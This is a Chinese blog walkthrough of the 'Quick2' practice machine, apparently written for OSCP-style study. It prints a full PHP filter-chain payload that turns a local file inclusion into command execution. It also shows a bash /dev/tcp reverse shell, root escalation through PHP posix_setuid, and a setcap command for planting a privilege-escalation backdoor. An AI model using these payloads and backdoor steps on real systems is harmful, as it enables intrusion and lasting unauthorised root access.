Quick2靶机渗透

笔记编辑于2025/11/23

本文是个人参考【OSCP】quick2进行的复现的文章

靶机渗透开场

攻击机1

主机存活发现

复制代码
┌──(root㉿Xudde)-[~]
└─# ip a
┌──(root㉿Xudde)-[~]
└─# nmap -sP 192.168.161.130/24

发现靶机192.168.161.131

攻击机2

端口扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# nmap -sV -O -p- 192.168.161.131

攻击机3

目录扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# dirsearch -u http://192.168.161.131:80/

攻击机4

漏洞扫描

复制代码
┌──(root㉿Xudde)-[~]
└─# nikto -host http://192.168.161.131

nikto告诉我们index.php?page=存在文件本地文件包含漏洞

攻击机5

验证本地文件包含漏洞

当然在file.php这个文件也有本地文件包含漏洞

攻击机6

用脚本php_filter_chain_generator.py构造RCE

https://github.com/synacktiv/php_filter_chain_generator

一个用于生成PHP过滤器链的命令行工具,如果你完全控制传入PHP require或include的参数,则无需上传文件即可获得RCE!

复制代码
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>'

攻击机7

file=后面加上&0=id执行命令

复制代码
http:?/192.168.161.131:80/file.php?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=id

攻击机8

反弹shell,命令需要url编码

复制代码
//编码前
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.161.131/6666 0>&1"
//编码后,插入&0=后面,本地执行nc -lvvp 6666监听
%2fbin%2fbash+-c+%22%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.161.131%2f6666+0%3e%261%22         

成功拿到shell

目标机1

复制代码
cd /home/nick
cat user.txt

第一个flag,HMV{Its-gonna-be-a-fast-ride}

靶机渗透内网提权

攻击机10

提权

在/tmp目录下上传linpeas.sh扫描

复制代码
python -m http.server 7777

目标机2

复制代码
wget http://192.168.161.130:7777/linpeas.sh

目标机3

给予linpeas.sh执行权限,并执行linpeas.sh

复制代码
chmod +x linpeas.sh ./linpeas.sh

目标机4

根据描述查看有无RED/YELLOW

攻击机11

复制代码
https://gtfobins.github.io/gtfobins/php/

目标机5

复制代码
/usr/bin/php8.1 -r "posix_setuid(0);system('/bin/sh');" 
或者 
CMD="/bin/sh" 
/usr/bin/php8.1 -r "posix_setuid(0);system('$CMD');"

目标机6

复制代码
ls /root/ cat /root/root.txt

得到第二个flag,HMV{This-was-a-Quick-AND-fast-machine}

靶机渗透结束收场

web漏洞源代码分析

file.php文件

复制代码
www-data@quick2:/var/www/html$ cat file.php
cat file.php
<html>
<body>
<h2>Local File Inclusion Vulnerability</h2>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'];?>">
  File to include: <input type="text" name="file">
  <input type="submit">
</form>
<?php
if (isset($_GET['file'])) {
  include($_GET['file']);
}
?>
</body>
</html>

没有任何过滤

可以利用php伪协议执行代码

复制代码
http://192.168.161.131:80/file.php?file=php://filter/convert.base64-encode/resource={file}.php

还有file:///etc/passwd读取文件

另外因为靶机php配置文件没有开启allow_url_include无法实现php://input和data://

且allow_url_fopen也是关闭的远程文件包含更无法实现

渗透收获

设置提权后门方法

setcap cap_setuid=ep /usr/bin/php8.1 //允许进程修改自身用户id

提权后门提权方法

/usr/bin/php8.1 -r "posix_setuid=(0);system('/bin/sh');"

这波渗透收获也蛮丰收,懂得了设置提权后面的方法和新的提权方法

相关推荐
奋发向前wcx1 小时前
y1,y2总复习笔记10 2026.7.24
笔记·哈希算法·散列表
MuMuMu12231 小时前
智慧监测的“火眼金睛”:当AIoT重构环保监管体系
笔记
王维同学3 小时前
Winsock 协议与名称空间 Provider 目录
网络·c++·windows·安全
min(a,b)3 小时前
学习第 4 天:面向对象与异常处理
python·学习·学习方法
一只小菜鸡..3 小时前
南京大学 操作系统 (JYY) 学习笔记:进程地址空间与内存“外挂”魔法
笔记·学习
tju新生代魔迷4 小时前
Verilog语言学习(一)
学习
一只小菜鸡..4 小时前
南京大学 操作系统 (JYY) 学习笔记:访问操作系统的对象与“一切皆文件”
笔记·学习
yangshicong5 小时前
第19章:AI安全防护与AI安全
人工智能·python·安全·prompt·ai编程
海天鹰7 小时前
PHP上传文件
android·开发语言·php
IT空门:门主7 小时前
Python 基础语法学习路线图
网络·python·学习